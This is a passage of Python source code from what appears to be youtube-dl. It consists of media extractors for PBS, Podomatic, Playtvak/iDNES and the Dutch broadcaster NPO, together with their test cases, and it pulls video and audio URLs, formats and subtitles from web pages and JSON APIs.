            'md5': 'b19856d7f5351b17a5ab1dc6a64be633',
            'info_dict': {
                'id': '2201174722',
                'ext': 'mp4',
                'title': 'PBS NewsHour - Cyber Schools Gain Popularity, but Quality Questions Persist',
                'description': 'md5:86ab9a3d04458b876147b355788b8781',
                'duration': 801,
            },
        },
        {
            'url': 'http://www.pbs.org/wnet/gperf/dudamel-conducts-verdi-requiem-hollywood-bowl-full-episode/3374/',
            'md5': 'c62859342be2a0358d6c9eb306595978',
            'info_dict': {
                'id': '2365297708',
                'ext': 'mp4',
                'title': 'Great Performances - Dudamel Conducts Verdi Requiem at the Hollywood Bowl - Full',
                'description': 'md5:657897370e09e2bc6bf0f8d2cd313c6b',
                'duration': 6559,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://www.pbs.org/wgbh/nova/earth/killer-typhoon.html',
            'md5': '908f3e5473a693b266b84e25e1cf9703',
            'info_dict': {
                'id': '2365160389',
                'display_id': 'killer-typhoon',
                'ext': 'mp4',
                'description': 'md5:c741d14e979fc53228c575894094f157',
                'title': 'NOVA - Killer Typhoon',
                'duration': 3172,
                'thumbnail': 're:^https?://.*\.jpg$',
                'upload_date': '20140122',
                'age_limit': 10,
            },
        },
        {
            'url': 'http://www.pbs.org/wgbh/pages/frontline/united-states-of-secrets/',
            'info_dict': {
                'id': 'united-states-of-secrets',
            },
            'playlist_count': 2,
        },
        {
            'url': 'http://www.pbs.org/wgbh/americanexperience/films/death/player/',
            'info_dict': {
                'id': '2276541483',
                'display_id': 'player',
                'ext': 'mp4',
                'title': 'American Experience - Death and the Civil War, Chapter 1',
                'description': 'md5:67fa89a9402e2ee7d08f53b920674c18',
                'duration': 682,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'params': {
                'skip_download': True,  # requires ffmpeg
            },
        },
        {
            'url': 'http://www.pbs.org/video/2365245528/',
            'md5': '115223d41bd55cda8ae5cd5ed4e11497',
            'info_dict': {
                'id': '2365245528',
                'display_id': '2365245528',
                'ext': 'mp4',
                'title': 'FRONTLINE - United States of Secrets (Part One)',
                'description': 'md5:55756bd5c551519cc4b7703e373e217e',
                'duration': 6851,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            # Video embedded in iframe containing angle brackets as attribute's value (e.g.
            # "<iframe style='position: absolute;<br />\ntop: 0; left: 0;' ...", see
            # https://github.com/rg3/youtube-dl/issues/7059)
            'url': 'http://www.pbs.org/food/features/a-chefs-life-season-3-episode-5-prickly-business/',
            'md5': '59b0ef5009f9ac8a319cc5efebcd865e',
            'info_dict': {
                'id': '2365546844',
                'display_id': 'a-chefs-life-season-3-episode-5-prickly-business',
                'ext': 'mp4',
                'title': "A Chef's Life - Season 3, Ep. 5: Prickly Business",
                'description': 'md5:c0ff7475a4b70261c7e58f493c2792a5',
                'duration': 1480,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            # Frontline video embedded via flp2012.js
            'url': 'http://www.pbs.org/wgbh/pages/frontline/the-atomic-artists',
            'info_dict': {
                'id': '2070868960',
                'display_id': 'the-atomic-artists',
                'ext': 'mp4',
                'title': 'FRONTLINE - The Atomic Artists',
                'description': 'md5:f677e4520cfacb4a5ce1471e31b57800',
                'duration': 723,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'params': {
                'skip_download': True,  # requires ffmpeg
            },
        },
        {
            # Serves hd only via wigget/partnerplayer page
            'url': 'http://www.pbs.org/video/2365641075/',
            'md5': 'fdf907851eab57211dd589cf12006666',
            'info_dict': {
                'id': '2365641075',
                'ext': 'mp4',
                'title': 'FRONTLINE - Netanyahu at War',
                'duration': 6852,
                'thumbnail': 're:^https?://.*\.jpg$',
                'formats': 'mincount:8',
            },
        },
        {
            'url': 'http://player.pbs.org/widget/partnerplayer/2365297708/?start=0&end=0&chapterbar=false&endscreen=false&topbar=true',
            'only_matching': True,
        },
        {
            'url': 'http://watch.knpb.org/video/2365616055/',
            'only_matching': True,
        }
    ]
    _ERRORS = {
        101: 'We\'re sorry, but this video is not yet available.',
        403: 'We\'re sorry, but this video is not available in your region due to right restrictions.',
        404: 'We are experiencing technical difficulties that are preventing us from playing the video at this time. Please check back again soon.',
        410: 'This video has expired and is no longer available for online streaming.',
    }

    def _extract_webpage(self, url):
        mobj = re.match(self._VALID_URL, url)

        description = None

        presumptive_id = mobj.group('presumptive_id')
        display_id = presumptive_id
        if presumptive_id:
            webpage = self._download_webpage(url, display_id)

            description = strip_or_none(self._og_search_description(
                webpage, default=None) or self._html_search_meta(
                'description', webpage, default=None))
            upload_date = unified_strdate(self._search_regex(
                r'<input type="hidden" id="air_date_[0-9]+" value="([^"]+)"',
                webpage, 'upload date', default=None))

            # tabbed frontline videos
            MULTI_PART_REGEXES = (
                r'<div[^>]+class="videotab[^"]*"[^>]+vid="(\d+)"',
                r'<a[^>]+href=["\']#video-\d+["\'][^>]+data-coveid=["\'](\d+)',
            )
            for p in MULTI_PART_REGEXES:
                tabbed_videos = re.findall(p, webpage)
                if tabbed_videos:
                    return tabbed_videos, presumptive_id, upload_date, description

            MEDIA_ID_REGEXES = [
                r"div\s*:\s*'videoembed'\s*,\s*mediaid\s*:\s*'(\d+)'",  # frontline video embed
                r'class="coveplayerid">([^<]+)<',                       # coveplayer
                r'<section[^>]+data-coveid="(\d+)"',                    # coveplayer from http://www.pbs.org/wgbh/frontline/film/real-csi/
                r'<input type="hidden" id="pbs_video_id_[0-9]+" value="([0-9]+)"/>',  # jwplayer
            ]

            media_id = self._search_regex(
                MEDIA_ID_REGEXES, webpage, 'media ID', fatal=False, default=None)
            if media_id:
                return media_id, presumptive_id, upload_date, description

            # Fronline video embedded via flp
            video_id = self._search_regex(
                r'videoid\s*:\s*"([\d+a-z]{7,})"', webpage, 'videoid', default=None)
            if video_id:
                # pkg_id calculation is reverse engineered from
                # http://www.pbs.org/wgbh/pages/frontline/js/flp2012.js
                prg_id = self._search_regex(
                    r'videoid\s*:\s*"([\d+a-z]{7,})"', webpage, 'videoid')[7:]
                if 'q' in prg_id:
                    prg_id = prg_id.split('q')[1]
                prg_id = int(prg_id, 16)
                getdir = self._download_json(
                    'http://www.pbs.org/wgbh/pages/frontline/.json/getdir/getdir%d.json' % prg_id,
                    presumptive_id, 'Downloading getdir JSON',
                    transform_source=strip_jsonp)
                return getdir['mid'], presumptive_id, upload_date, description

            for iframe in re.findall(r'(?s)<iframe(.+?)></iframe>', webpage):
                url = self._search_regex(
                    r'src=(["\'])(?P<url>.+?partnerplayer.+?)\1', iframe,
                    'player URL', default=None, group='url')
                if url:
                    break

            mobj = re.match(self._VALID_URL, url)

        player_id = mobj.group('player_id')
        if not display_id:
            display_id = player_id
        if player_id:
            player_page = self._download_webpage(
                url, display_id, note='Downloading player page',
                errnote='Could not download player page')
            video_id = self._search_regex(
                r'<div\s+id="video_([0-9]+)"', player_page, 'video ID')
        else:
            video_id = mobj.group('id')
            display_id = video_id

        return video_id, display_id, None, description

    def _real_extract(self, url):
        video_id, display_id, upload_date, description = self._extract_webpage(url)

        if isinstance(video_id, list):
            entries = [self.url_result(
                'http://video.pbs.org/video/%s' % vid_id, 'PBS', vid_id)
                for vid_id in video_id]
            return self.playlist_result(entries, display_id)

        info = None
        redirects = []
        redirect_urls = set()

        def extract_redirect_urls(info):
            for encoding_name in ('recommended_encoding', 'alternate_encoding'):
                redirect = info.get(encoding_name)
                if not redirect:
                    continue
                redirect_url = redirect.get('url')
                if redirect_url and redirect_url not in redirect_urls:
                    redirects.append(redirect)
                    redirect_urls.add(redirect_url)

        # Player pages may also serve different qualities
        for page in ('widget/partnerplayer', 'portalplayer'):
            player = self._download_webpage(
                'http://player.pbs.org/%s/%s' % (page, video_id),
                display_id, 'Downloading %s page' % page, fatal=False)
            if player:
                video_info = self._parse_json(
                    self._search_regex(
                        r'(?s)PBS\.videoData\s*=\s*({.+?});\n',
                        player, '%s video data' % page, default='{}'),
                    display_id, transform_source=js_to_json, fatal=False)
                if video_info:
                    extract_redirect_urls(video_info)
                    if not info:
                        info = video_info

        formats = []
        http_url = None
        for num, redirect in enumerate(redirects):
            redirect_id = redirect.get('eeid')

            redirect_info = self._download_json(
                '%s?format=json' % redirect['url'], display_id,
                'Downloading %s video url info' % (redirect_id or num))

            if redirect_info['status'] == 'error':
                raise ExtractorError(
                    '%s said: %s' % (
                        self.IE_NAME,
                        self._ERRORS.get(redirect_info['http_code'], redirect_info['message'])),
                    expected=True)

            format_url = redirect_info.get('url')
            if not format_url:
                continue

            if determine_ext(format_url) == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    format_url, display_id, 'mp4', m3u8_id='hls', fatal=False))
            else:
                formats.append({
                    'url': format_url,
                    'format_id': redirect_id,
                })
                if re.search(r'^https?://.*(?:\d+k|baseline)', format_url):
                    http_url = format_url
        self._remove_duplicate_formats(formats)
        m3u8_formats = list(filter(
            lambda f: f.get('protocol') == 'm3u8' and f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
            formats))
        if http_url:
            for m3u8_format in m3u8_formats:
                bitrate = self._search_regex(r'(\d+)k', m3u8_format['url'], 'bitrate', default=None)
                # Lower qualities (150k and 192k) are not available as HTTP formats (see [1]),
                # we won't try extracting them.
                # Since summer 2016 higher quality formats (4500k and 6500k) are also available
                # albeit they are not documented in [2].
                # 1. https://github.com/rg3/youtube-dl/commit/cbc032c8b70a038a69259378c92b4ba97b42d491#commitcomment-17313656
                # 2. https://projects.pbs.org/confluence/display/coveapi/COVE+Video+Specifications
                if not bitrate or int(bitrate) < 400:
                    continue
                f_url = re.sub(r'\d+k|baseline', bitrate + 'k', http_url)
                # This may produce invalid links sometimes (e.g.
                # http://www.pbs.org/wgbh/frontline/film/suicide-plan)
                if not self._is_valid_url(f_url, display_id, 'http-%sk video' % bitrate):
                    continue
                f = m3u8_format.copy()
                f.update({
                    'url': f_url,
                    'format_id': m3u8_format['format_id'].replace('hls', 'http'),
                    'protocol': 'http',
                })
                formats.append(f)
        self._sort_formats(formats)

        rating_str = info.get('rating')
        if rating_str is not None:
            rating_str = rating_str.rpartition('-')[2]
        age_limit = US_RATINGS.get(rating_str)

        subtitles = {}
        closed_captions_url = info.get('closed_captions_url')
        if closed_captions_url:
            subtitles['en'] = [{
                'ext': 'ttml',
                'url': closed_captions_url,
            }]
            mobj = re.search(r'/(\d+)_Encoded\.dfxp', closed_captions_url)
            if mobj:
                ttml_caption_suffix, ttml_caption_id = mobj.group(0, 1)
                ttml_caption_id = int(ttml_caption_id)
                subtitles['en'].extend([{
                    'url': closed_captions_url.replace(
                        ttml_caption_suffix, '/%d_Encoded.srt' % (ttml_caption_id + 1)),
                    'ext': 'srt',
                }, {
                    'url': closed_captions_url.replace(
                        ttml_caption_suffix, '/%d_Encoded.vtt' % (ttml_caption_id + 2)),
                    'ext': 'vtt',
                }])

        # info['title'] is often incomplete (e.g. 'Full Episode', 'Episode 5', etc)
        # Try turning it to 'program - title' naming scheme if possible
        alt_title = info.get('program', {}).get('title')
        if alt_title:
            info['title'] = alt_title + ' - ' + re.sub(r'^' + alt_title + '[\s\-:]+', '', info['title'])

        description = info.get('description') or info.get(
            'program', {}).get('description') or description

        return {
            'id': video_id,
            'display_id': display_id,
            'title': info['title'],
            'description': description,
            'thumbnail': info.get('image_url'),
            'duration': int_or_none(info.get('duration')),
            'age_limit': age_limit,
            'upload_date': upload_date,
            'formats': formats,
            'subtitles': subtitles,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import int_or_none


class PodomaticIE(InfoExtractor):
    IE_NAME = 'podomatic'
    _VALID_URL = r'^(?P<proto>https?)://(?P<channel>[^.]+)\.podomatic\.com/entry/(?P<id>[^?]+)'

    _TESTS = [
        {
            'url': 'http://scienceteachingtips.podomatic.com/entry/2009-01-02T16_03_35-08_00',
            'md5': '84bb855fcf3429e6bf72460e1eed782d',
            'info_dict': {
                'id': '2009-01-02T16_03_35-08_00',
                'ext': 'mp3',
                'uploader': 'Science Teaching Tips',
                'uploader_id': 'scienceteachingtips',
                'title': '64.  When the Moon Hits Your Eye',
                'duration': 446,
            }
        },
        {
            'url': 'http://ostbahnhof.podomatic.com/entry/2013-11-15T16_31_21-08_00',
            'md5': 'd2cf443931b6148e27638650e2638297',
            'info_dict': {
                'id': '2013-11-15T16_31_21-08_00',
                'ext': 'mp3',
                'uploader': 'Ostbahnhof / Techno Mix',
                'uploader_id': 'ostbahnhof',
                'title': 'Einunddreizig',
                'duration': 3799,
            }
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        channel = mobj.group('channel')

        json_url = (('%s://%s.podomatic.com/entry/embed_params/%s' +
                     '?permalink=true&rtmp=0') %
                    (mobj.group('proto'), channel, video_id))
        data_json = self._download_webpage(
            json_url, video_id, 'Downloading video info')
        data = json.loads(data_json)

        video_url = data['downloadLink']
        if not video_url:
            video_url = '%s/%s' % (data['streamer'].replace('rtmp', 'http'), data['mediaLocation'])
        uploader = data['podcast']
        title = data['title']
        thumbnail = data['imageLocation']
        duration = int_or_none(data.get('length'), 1000)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'uploader': uploader,
            'uploader_id': channel,
            'thumbnail': thumbnail,
            'duration': duration,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
    compat_urllib_parse_urlencode,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
    qualities,
)


class PlaytvakIE(InfoExtractor):
    IE_DESC = 'Playtvak.cz, iDNES.cz and Lidovky.cz'
    _VALID_URL = r'https?://(?:.+?\.)?(?:playtvak|idnes|lidovky|metro)\.cz/.*\?(?:c|idvideo)=(?P<id>[^&]+)'
    _TESTS = [{
        'url': 'http://www.playtvak.cz/vyzente-vosy-a-srsne-ze-zahrady-dn5-/hodinovy-manzel.aspx?c=A150730_150323_hodinovy-manzel_kuko',
        'md5': '4525ae312c324b4be2f4603cc78ceb4a',
        'info_dict': {
            'id': 'A150730_150323_hodinovy-manzel_kuko',
            'ext': 'mp4',
            'title': 'Vyžeňte vosy a sršně ze zahrady',
            'description': 'md5:f93d398691044d303bc4a3de62f3e976',
            'thumbnail': 're:(?i)^https?://.*\.(?:jpg|png)$',
            'duration': 279,
            'timestamp': 1438732860,
            'upload_date': '20150805',
            'is_live': False,
        }
    }, {  # live video test
        'url': 'http://slowtv.playtvak.cz/planespotting-0pr-/planespotting.aspx?c=A150624_164934_planespotting_cat',
        'info_dict': {
            'id': 'A150624_164934_planespotting_cat',
            'ext': 'flv',
            'title': 're:^Přímý přenos iDNES.cz [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'Sledujte provoz na ranveji Letiště Václava Havla v Praze',
            'thumbnail': 're:(?i)^https?://.*\.(?:jpg|png)$',
            'is_live': True,
        },
        'params': {
            'skip_download': True,  # requires rtmpdump
        },
    }, {  # idnes.cz
        'url': 'http://zpravy.idnes.cz/pes-zavreny-v-aute-rozbijeni-okynek-v-aute-fj5-/domaci.aspx?c=A150809_104116_domaci_pku',
        'md5': '819832ba33cd7016e58a6658577fe289',
        'info_dict': {
            'id': 'A150809_104116_domaci_pku',
            'ext': 'mp4',
            'title': 'Zavřeli jsme mraženou pizzu do auta. Upekla se',
            'description': 'md5:01e73f02329e2e5760bd5eed4d42e3c2',
            'thumbnail': 're:(?i)^https?://.*\.(?:jpg|png)$',
            'duration': 39,
            'timestamp': 1438969140,
            'upload_date': '20150807',
            'is_live': False,
        }
    }, {  # lidovky.cz
        'url': 'http://www.lidovky.cz/dalsi-demonstrace-v-praze-o-migraci-duq-/video.aspx?c=A150808_214044_ln-video_ELE',
        'md5': 'c7209ac4ba9d234d4ad5bab7485bcee8',
        'info_dict': {
            'id': 'A150808_214044_ln-video_ELE',
            'ext': 'mp4',
            'title': 'Táhni! Demonstrace proti imigrantům budila emoce',
            'description': 'md5:97c81d589a9491fbfa323c9fa3cca72c',
            'thumbnail': 're:(?i)^https?://.*\.(?:jpg|png)$',
            'timestamp': 1439052180,
            'upload_date': '20150808',
            'is_live': False,
        }
    }, {  # metro.cz
        'url': 'http://www.metro.cz/video-pod-billboardem-se-na-vltavske-roztocil-kolotoc-deti-vozil-jen-par-hodin-1hx-/metro-extra.aspx?c=A141111_173251_metro-extra_row',
        'md5': '84fc1deedcac37b7d4a6ccae7c716668',
        'info_dict': {
            'id': 'A141111_173251_metro-extra_row',
            'ext': 'mp4',
            'title': 'Recesisté udělali z billboardu kolotoč',
            'description': 'md5:7369926049588c3989a66c9c1a043c4c',
            'thumbnail': 're:(?i)^https?://.*\.(?:jpg|png)$',
            'timestamp': 1415725500,
            'upload_date': '20141111',
            'is_live': False,
        }
    }, {
        'url': 'http://www.playtvak.cz/embed.aspx?idvideo=V150729_141549_play-porad_kuko',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        info_url = self._html_search_regex(
            r'Misc\.videoFLV\(\s*{\s*data\s*:\s*"([^"]+)"', webpage, 'info url')

        parsed_url = compat_urlparse.urlparse(info_url)

        qs = compat_urlparse.parse_qs(parsed_url.query)
        qs.update({
            'reklama': ['0'],
            'type': ['js'],
        })

        info_url = compat_urlparse.urlunparse(
            parsed_url._replace(query=compat_urllib_parse_urlencode(qs, True)))

        json_info = self._download_json(
            info_url, video_id,
            transform_source=lambda s: s[s.index('{'):s.rindex('}') + 1])

        item = None
        for i in json_info['items']:
            if i.get('type') == 'video' or i.get('type') == 'stream':
                item = i
                break
        if not item:
            raise ExtractorError('No suitable stream found')

        quality = qualities(('low', 'middle', 'high'))

        formats = []
        for fmt in item['video']:
            video_url = fmt.get('file')
            if not video_url:
                continue

            format_ = fmt['format']
            format_id = '%s_%s' % (format_, fmt['quality'])
            preference = None

            if format_ in ('mp4', 'webm'):
                ext = format_
            elif format_ == 'rtmp':
                ext = 'flv'
            elif format_ == 'apple':
                ext = 'mp4'
                # Some streams have mp3 audio which does not play
                # well with ffmpeg filter aac_adtstoasc
                preference = -1
            elif format_ == 'adobe':  # f4m manifest fails with 404 in 80% of requests
                continue
            else:  # Other formats not supported yet
                continue

            formats.append({
                'url': video_url,
                'ext': ext,
                'format_id': format_id,
                'quality': quality(fmt.get('quality')),
                'preference': preference,
            })
        self._sort_formats(formats)

        title = item['title']
        is_live = item['type'] == 'stream'
        if is_live:
            title = self._live_title(title)
        description = self._og_search_description(webpage, default=None) or self._html_search_meta(
            'description', webpage, 'description')
        timestamp = None
        duration = None
        if not is_live:
            duration = int_or_none(item.get('length'))
            timestamp = item.get('published')
            if timestamp:
                timestamp = parse_iso8601(timestamp[:-5])

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': item.get('image'),
            'duration': duration,
            'timestamp': timestamp,
            'is_live': is_live,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    fix_xml_ampersands,
    parse_duration,
    qualities,
    strip_jsonp,
    unified_strdate,
)


class NPOBaseIE(InfoExtractor):
    def _get_token(self, video_id):
        token_page = self._download_webpage(
            'http://ida.omroep.nl/npoplayer/i.js',
            video_id, note='Downloading token')
        token = self._search_regex(
            r'npoplayer\.token = "(.+?)"', token_page, 'token')
        # Decryption algorithm extracted from http://npoplayer.omroep.nl/csjs/npoplayer-min.js
        token_l = list(token)
        first = second = None
        for i in range(5, len(token_l) - 4):
            if token_l[i].isdigit():
                if first is None:
                    first = i
                elif second is None:
                    second = i
        if first is None or second is None:
            first = 12
            second = 13

        token_l[first], token_l[second] = token_l[second], token_l[first]

        return ''.join(token_l)


class NPOIE(NPOBaseIE):
    IE_NAME = 'npo'
    IE_DESC = 'npo.nl and ntr.nl'
    _VALID_URL = r'''(?x)
                    (?:
                        npo:|
                        https?://
                            (?:www\.)?
                            (?:
                                npo\.nl/(?!live|radio)(?:[^/]+/){2}|
                                ntr\.nl/(?:[^/]+/){2,}|
                                omroepwnl\.nl/video/fragment/[^/]+__
                            )
                        )
                        (?P<id>[^/?#]+)
                '''

    _TESTS = [
        {
            'url': 'http://www.npo.nl/nieuwsuur/22-06-2014/VPWON_1220719',
            'md5': '4b3f9c429157ec4775f2c9cb7b911016',
            'info_dict': {
                'id': 'VPWON_1220719',
                'ext': 'm4v',
                'title': 'Nieuwsuur',
                'description': 'Dagelijks tussen tien en elf: nieuws, sport en achtergronden.',
                'upload_date': '20140622',
            },
        },
        {
            'url': 'http://www.npo.nl/de-mega-mike-mega-thomas-show/27-02-2009/VARA_101191800',
            'md5': 'da50a5787dbfc1603c4ad80f31c5120b',
            'info_dict': {
                'id': 'VARA_101191800',
                'ext': 'm4v',
                'title': 'De Mega Mike & Mega Thomas show: The best of.',
                'description': 'md5:3b74c97fc9d6901d5a665aac0e5400f4',
                'upload_date': '20090227',
                'duration': 2400,
            },
        },
        {
            'url': 'http://www.npo.nl/tegenlicht/25-02-2013/VPWON_1169289',
            'md5': 'f8065e4e5a7824068ed3c7e783178f2c',
            'info_dict': {
                'id': 'VPWON_1169289',
                'ext': 'm4v',
                'title': 'Tegenlicht: De toekomst komt uit Afrika',
                'description': 'md5:52cf4eefbc96fffcbdc06d024147abea',
                'upload_date': '20130225',
                'duration': 3000,
            },
        },
        {
            'url': 'http://www.npo.nl/de-nieuwe-mens-deel-1/21-07-2010/WO_VPRO_043706',
            'info_dict': {
                'id': 'WO_VPRO_043706',
                'ext': 'wmv',
                'title': 'De nieuwe mens - Deel 1',
                'description': 'md5:518ae51ba1293ffb80d8d8ce90b74e4b',
                'duration': 4680,
            },
            'params': {
                # mplayer mms download
                'skip_download': True,
            }
        },
        # non asf in streams
        {
            'url': 'http://www.npo.nl/hoe-gaat-europa-verder-na-parijs/10-01-2015/WO_NOS_762771',
            'md5': 'b3da13de374cbe2d5332a7e910bef97f',
            'info_dict': {
                'id': 'WO_NOS_762771',
                'ext': 'mp4',
                'title': 'Hoe gaat Europa verder na Parijs?',
            },
        },
        {
            'url': 'http://www.ntr.nl/Aap-Poot-Pies/27/detail/Aap-poot-pies/VPWON_1233944#content',
            'md5': '01c6a2841675995da1f0cf776f03a9c3',
            'info_dict': {
                'id': 'VPWON_1233944',
                'ext': 'm4v',
                'title': 'Aap, poot, pies',
                'description': 'md5:c9c8005d1869ae65b858e82c01a91fde',
                'upload_date': '20150508',
                'duration': 599,
            },
        },
        {
            'url': 'http://www.omroepwnl.nl/video/fragment/vandaag-de-dag-verkiezingen__POMS_WNL_853698',
            'md5': 'd30cd8417b8b9bca1fdff27428860d08',
            'info_dict': {
                'id': 'POW_00996502',
                'ext': 'm4v',
                'title': '''"Dit is wel een 'landslide'..."''',
                'description': 'md5:f8d66d537dfb641380226e31ca57b8e8',
                'upload_date': '20150508',
                'duration': 462,
            },
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self._get_info(video_id)

    def _get_info(self, video_id):
        metadata = self._download_json(
            'http://e.omroep.nl/metadata/%s' % video_id,
            video_id,
            # We have to remove the javascript callback
            transform_source=strip_jsonp,
        )

        # For some videos actual video id (prid) is different (e.g. for
        # http://www.omroepwnl.nl/video/fragment/vandaag-de-dag-verkiezingen__POMS_WNL_853698
        # video id is POMS_WNL_853698 but prid is POW_00996502)
        video_id = metadata.get('prid') or video_id

        # titel is too generic in some cases so utilize aflevering_titel as well
        # when available (e.g. http://tegenlicht.vpro.nl/afleveringen/2014-2015/access-to-africa.html)
        title = metadata['titel']
        sub_title = metadata.get('aflevering_titel')
        if sub_title and sub_title != title:
            title += ': %s' % sub_title

        token = self._get_token(video_id)

        formats = []

        pubopties = metadata.get('pubopties')
        if pubopties:
            quality = qualities(['adaptive', 'wmv_sb', 'h264_sb', 'wmv_bb', 'h264_bb', 'wvc1_std', 'h264_std'])
            for format_id in pubopties:
                format_info = self._download_json(
                    'http://ida.omroep.nl/odi/?prid=%s&puboptions=%s&adaptive=yes&token=%s'
                    % (video_id, format_id, token),
                    video_id, 'Downloading %s JSON' % format_id)
                if format_info.get('error_code', 0) or format_info.get('errorcode', 0):
                    continue
                streams = format_info.get('streams')
                if streams:
                    video_info = self._download_json(
                        streams[0] + '&type=json',
                        video_id, 'Downloading %s stream JSON' % format_id)
                else:
                    video_info = format_info
                video_url = video_info.get('url')
                if not video_url:
                    continue
                if format_id == 'adaptive':
                    formats.extend(self._extract_m3u8_formats(video_url, video_id, 'mp4'))
                else:
                    formats.append({
                        'url': video_url,
                        'format_id': format_id,
                        'quality': quality(format_id),
                    })

        streams = metadata.get('streams')
        if streams:
            for i, stream in enumerate(streams):
                stream_url = stream.get('url')
                if not stream_url:
                    continue
                if '.asf' not in stream_url:
                    formats.append({
                        'url': stream_url,
                        'quality': stream.get('kwaliteit'),
                    })
                    continue
                asx = self._download_xml(
                    stream_url, video_id,
                    'Downloading stream %d ASX playlist' % i,
                    transform_source=fix_xml_ampersands)
                ref = asx.find('./ENTRY/Ref')
                if ref is None:
                    continue
                video_url = ref.get('href')
                if not video_url:
                    continue
                formats.append({
                    'url': video_url,
                    'ext': stream.get('formaat', 'asf'),
                    'quality': stream.get('kwaliteit'),
                })

        self._sort_formats(formats)

        subtitles = {}
        if metadata.get('tt888') == 'ja':
            subtitles['nl'] = [{
                'ext': 'vtt',
                'url': 'http://e.omroep.nl/tt888/%s' % video_id,
            }]

        return {
            'id': video_id,
            'title': title,
            'description': metadata.get('info'),
            'thumbnail': metadata.get('images', [{'url': None}])[-1]['url'],
            'upload_date': unified_strdate(metadata.get('gidsdatum')),
            'duration': parse_duration(metadata.get('tijdsduur')),
            'formats': formats,
            'subtitles': subtitles,
        }


class NPOLiveIE(NPOBaseIE):
    IE_NAME = 'npo.nl:live'
    _VALID_URL = r'https?://(?:www\.)?npo\.nl/live/(?P<id>.+)'

    _TEST = {
        'url': 'http://www.npo.nl/live/npo-1',
        'info_dict': {
            'id': 'LI_NEDERLAND1_136692',
            'display_id': 'npo-1',
            'ext': 'mp4',
            'title': 're:^Nederland 1 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'Livestream',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        live_id = self._search_regex(
            r'data-prid="([^"]+)"', webpage, 'live id')

        metadata = self._download_json(
            'http://e.omroep.nl/metadata/%s' % live_id,
            display_id, transform_source=strip_jsonp)

        token = self._get_token(display_id)

        formats = []

        streams = metadata.get('streams')
        if streams:
            for stream in streams:
                stream_type = stream.get('type').lower()
                # smooth streaming is not supported
                if stream_type in ['ss', 'ms']:
                    continue
                stream_info = self._download_json(
                    'http://ida.omroep.nl/aapi/?stream=%s&token=%s&type=jsonp'
                    % (stream.get('url'), token),
                    display_id, 'Downloading %s JSON' % stream_type)
                if stream_info.get('error_code', 0) or stream_info.get('errorcode', 0):
                    continue
                stream_url = self._download_json(
                    stream_info['stream'], display_id,
                    'Downloading %s URL' % stream_type,
                    'Unable to download %s URL' % stream_type,
                    transform_source=strip_jsonp, fatal=False)
                if not stream_url:
                    continue
                if stream_type == 'hds':
                    f4m_formats = self._extract_f4m_formats(stream_url, display_id)
                    # f4m downloader downloads only piece of live stream
                    for f4m_format in f4m_formats:
                        f4m_format['preference'] = -1
                    formats.extend(f4m_formats)
                elif stream_type == 'hls':
                    formats.extend(self._extract_m3u8_formats(stream_url, display_id, 'mp4'))
                else:
                    formats.append({
                        'url': stream_url,
                        'preference': -10,
                    })

        self._sort_formats(formats)

        return {
            'id': live_id,
            'display_id': display_id,
            'title': self._live_title(metadata['titel']),
            'description': metadata['info'],
            'thumbnail': metadata.get('images', [{'url': None}])[-1]['url'],
            'formats': formats,
            'is_live': True,
        }


class NPORadioIE(InfoExtractor):
    IE_NAME = 'npo.nl:radio'
    _VALID_URL = r'https?://(?:www\.)?npo\.nl/radio/(?P<id>[^/]+)/?$'

    _TEST = {
        'url': 'http://www.npo.nl/radio/radio-1',
        'info_dict': {
            'id': 'radio-1',
            'ext': 'mp3',
            'title': 're:^NPO Radio 1 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        }
    }

    @staticmethod
    def _html_get_attribute_regex(attribute):
        return r'{0}\s*=\s*\'([^\']+)\''.format(attribute)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            self._html_get_attribute_regex('data-channel'), webpage, 'title')

        stream = self._parse_json(
            self._html_search_regex(self._html_get_attribute_regex('data-streams'), webpage, 'data-streams'),
            video_id)

        codec = stream.get('codec')

        return {
            'id': video_id,
            'url': stream['url'],
            'title': self._live_title(title),
            'acodec': codec,
            'ext': codec,
            'is_live': True,
        }


class NPORadioFragmentIE(InfoExtractor):
    IE_NAME = 'npo.nl:radio:fragment'
    _VALID_URL = r'https?://(?:www\.)?npo\.nl/radio/[^/]+/fragment/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.npo.nl/radio/radio-5/fragment/174356',
        'md5': 'dd8cc470dad764d0fdc70a9a1e2d18c2',
        'info_dict': {
            'id': '174356',
            'ext': 'mp3',
            'title': 'Jubileumconcert Willeke Alberti',
        },
    }

    def _real_extract(self, url):
        audio_id = self._match_id(url)

        webpage = self._download_webpage(url, audio_id)

        title = self._html_search_regex(
            r'href="/radio/[^/]+/fragment/%s" title="([^"]+)"' % audio_id,
            webpage, 'title')

        audio_url = self._search_regex(
            r"data-streams='([^']+)'", webpage, 'audio url')

        return {
            'id': audio_id,
            'url': audio_url,
            'title': title,
        }


